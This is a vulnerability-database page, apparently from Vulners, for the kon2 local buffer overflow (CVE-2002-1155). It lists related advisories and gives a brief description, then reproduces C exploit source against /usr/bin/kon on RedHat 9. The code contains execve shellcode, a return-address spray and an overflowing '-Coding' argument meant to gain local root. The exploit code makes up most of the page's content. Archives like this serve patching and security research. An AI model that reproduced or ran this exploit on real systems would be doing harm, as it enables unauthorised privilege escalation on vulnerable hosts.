kon2 - Local Buffer Overflow (2)
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| The vulnerability of the Red Hat Linux operating system allows attackers to compromise the confidentiality, integrity, and accessibility of protected information. | 28 Apr 201500:00 | – | bdu_fstec | |
| The vulnerability of the Red Hat Linux operating system allows attackers to compromise the confidentiality, integrity, and accessibility of protected information. | 28 Apr 201500:00 | – | bdu_fstec | |
| CVE-2002-1155 | 5 Jun 200304:00 | – | cve | |
| CVE-2002-1155 | 5 Jun 200304:00 | – | cvelist | |
| kon2 - Local Buffer Overflow (1) | 3 Jun 200300:00 | – | exploitdb | |
| EUVD-2002-1142 | 7 Oct 202500:30 | – | euvd | |
| KON2 Buffer Overflow Vulnerability in Command Argument Validation | 20 May 200815:00 | – | jvn | |
| Mandrake Linux Security Advisory : kon2 (MDKSA-2003:064) | 31 Jul 200400:00 | – | nessus | |
| RHEL 2.1 : kon2 (RHSA-2003:050) | 6 Jul 200400:00 | – | nessus | |
| CVE-2002-1155 | 16 Jun 200304:00 | – | nvd |
10
// source: https://www.securityfocus.com/bid/7790/info
A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system.
The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility.
/*
* Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0
*
* http://www.mail-archive.com/[email protected]/msg11681.html
*
* The original bug was found by wszx for RedHat 8.0 - Ported to C
*
* Compile: gcc -Wall kon2root kon2root.c
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define NOP 0x90
#define RET 0xbffffffa
#define VULN "/usr/bin/kon"
#define MAXBUF 800
static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07
\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56
\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
\xdc\xff"
"\xff\xff/bin/id";
int main()
{
int i, *egg;
long retaddr;
static char buff[MAXBUF];
static char *sploit[0x02] = { w00tI4r3l33t, NULL };
fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]
\n", VULN);
fprintf (stdout, "[ Coded by c0ntex - http://62.31.72.168 ]\n");
fprintf (stdout, "[ For Linux RedHat v9 x86 - Ret_Addr
0xbffffffa ]\n\n\n\n");
if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !
= 0x00) {
egg = (int *)(buff);
}
for(i = 0x00; i < MAXBUF; i += 0x04)
*(egg)++ = retaddr; *(egg) = NOP;
execle(VULN, VULN, "-Coding", buff, NULL, sploit);
return(0x00);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Nov 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01061